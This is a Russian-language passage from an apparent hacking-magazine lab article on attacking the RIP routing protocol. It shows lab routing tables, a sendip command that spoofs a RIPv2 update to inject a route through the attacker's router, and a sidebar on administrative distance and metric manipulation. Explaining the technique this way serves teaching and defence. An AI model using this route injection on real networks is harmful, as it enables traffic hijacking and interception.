лабораторная работа КОНСТАНТИН ГАВРИЛЕНКО Спецвыпуск: Хакер, номер #066, стр. 066-018-8 C 192.168.11.0/24 is directly connected, Serial0 R 192.168.30.0/24 [120/1] via 192.168.69.36, 00:00:01, Ethernet0 R 192.168.7.0/24 [120/1] via 192.168.69.36, 00:00:01, Ethernet0 S 192.168.15.0/24 [1/0] via 192.168.69.110 S* 0.0.0.0/0 [1/0] via 192.168.0.1 Листинг 16. Таблица маршрутизации хоста M2 C 192.168.30.0/24 is directly connected, Serial0 C 192.168.7.0/24 is directly connected, Serial0 R 192.168.10.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0 R 192.168.11.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0 R 192.168.15.0/24 [120/1] via 192.168.69.110, 00:00:01, Ethernet0 192.168.0.0/32 is subnetted, 1 subnets R 192.168.0.1 [120/1] via 192.168.69.100, 00:00:01, Ethernet0 R 192.168.1.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0 R* 0.0.0.0/0 [120/1] via 192.168.69.100, 00:00:02, Ethernet0 [введение произвольного маршрута.] При помощи утилиты sendip изменим таблицу маршрутизации и добавим маршрут, проходящий через наш маршрутизатор на сеть 192.168.50.0/24. Листинг 17. Таблица маршрутов изменилась и теперь включает вставленный маршрут arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -rv 2 -rc 2 -re 2:0:192.168.50.0:255.255.255.0:192.168.69.102:1 192.168.69.36 R 192.168.50.0/24 [120/1] via 192.168.66.102, 00:00:06, Ethernet0 [изменение метрики маршрута на меньшее значение.] Теперь изменим один из существующих маршрутов, о которых оповещает маршрутизатор М1. Возьмем для примера 192.168.10.0/24. R 192.168.10.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0 Административная дистанция маршрута равняется 120 (значение по умолчанию для протокола RIP), количество узлов до этой сети равно 1. [ТЕОРИЯ (врезка)] [административная дистанция.] Практически в любых IP-сетях ты встретишь как минимум два типа маршрутов: подсоединенные и статические. В более крупных сетях, где используются протоколы маршрутизации, появляются динамические маршруты, причем из разных протоколов маршрутизации. Какой из маршрутов является более доверительным, а соответственно, предпочтительным при принятии решения о маршрутизации? Здесь и понадобится значение административной дистанции, которое зависит от того, каким образом маршрутизатор выучил маршрут. Административная дистанция не может быть изменена с удаленной машины и устанавливается на самом маршрутизаторе. Так что единственный способ попытаться изменить таблицу маршрутизации — поменять ее таким образом, чтобы маршрут имел меньшую метрику. По умолчанию все пути, выученные через RIP, имеют метрику как минимум 1, что, в принципе, логично. Даже если мы пропишем в своем пакете метрику пути, равную 0, получаемый маршрутизатор интерпретирует ее как 1. В ситуации, когда метрика публикуемого маршрута больше, чем 1, мы с легкостью можем внедрить свой маршрут, метрика которого меньше или равняется 1 и который будет иметь более высокий приоритет. Если метрика легитимного маршрута и без того имеет минимальное возможное значение, придется поменять ее на более высокую и оповестить маршрутизатор о своем более предпочтительном пути. |